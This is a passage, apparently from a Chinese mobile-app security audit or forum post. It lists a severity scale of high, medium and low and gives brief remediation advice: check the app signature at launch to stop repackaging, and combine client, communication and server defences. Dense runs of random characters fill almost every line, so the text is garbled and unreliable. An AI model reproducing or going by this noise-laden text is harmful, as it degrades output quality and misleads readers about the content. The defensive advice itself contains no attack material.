& W& k) s" Z8 C+ i+ G0 w$ `5 q. A 严重程度 0 N4 M& P1 N, }/ d9 L* t* X 6 n, A( v3 u; `; j5 {1 F. I	; E3 W, R9 g' C. Z) J) L0 ~" i 5 x* I/ ?- m: q) o& | l, s6 N 1 T+ `& |+ ~3 m! g 高 & h }9 c/ P0 {' O/ K L6 \/ q# [ 3 {% i5 G" [, p, q$ v	8 t% @2 h+ v2 [7 M q ( J/ T# o# \9 v) `, e ■ 5 E. j4 N8 S$ B9 F! J1 h' \ e" G & X. z; a: Y- C 6 K5 y" q9 E' c	! \. S* W9 T& k6 t4 X; X 中 ' E* W, _/ M- U E( ? 2 ?7 t+ _7 J8 _' }8 `: H0 e1 i1 ~+ `	6 z3 `5 n, o* l. ^ 9 x/ {1 V9 a! \4 X3 f. p ! q( V/ | x7 X; R   / L# H* E/ G( P, } ( S7 L4 y) P; @8 u0 ] ) k- l, v) P4 I h8 I! a) S! k" ?	低 ( b8 t0 |) C0 S+ y Q8 \ ! v8 J* U6 t4 u _	6 U1 j4 b0 y1 B   0 g+ C# g4 h& e) v3 m! R0 v ! T6 K1 Q8 z) G) i

  - w1 o- y. a5 @+ m2 i A 1 K' K3 l2 I9 Q1 }" A

8 H. _, x0 R/ E- P / V% V- t% b9 Z" x5 s2 c. r5 q

修复方法： ; w, `% I' D4 T: G

: w/ P: E7 B9 R$ O8 H+ s4 a 5 @0 `/ q% T( J

8 b. E) {* Z& _9 m& c. p               1.在 APP 启动时应做签名校验防止二次打包。
4 Z5 r, _/ R: G* Q , O% ^- A' e' J/ ~% P) {; Q$ \ 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。

$ `5 D/ t6 g1 W* p& _# ~5 P 9 i. q( a8 y1 b z2 v! T: v( F0 N

7 t0 \ _: m4 _' p/ X3 K- Z   \* m; \. G1 X8 l8 Q$ j ( A4 Z# c1 S9 o3 }+ p) C

# h- x) r) l% i5 i

% A% K- [3 T2 l/ J8 Z0 o / c4 b4 n0 ^( S$ }

- l4 f" @0 C9 ]: x5 l0 _ 5 O& _: t& e1 J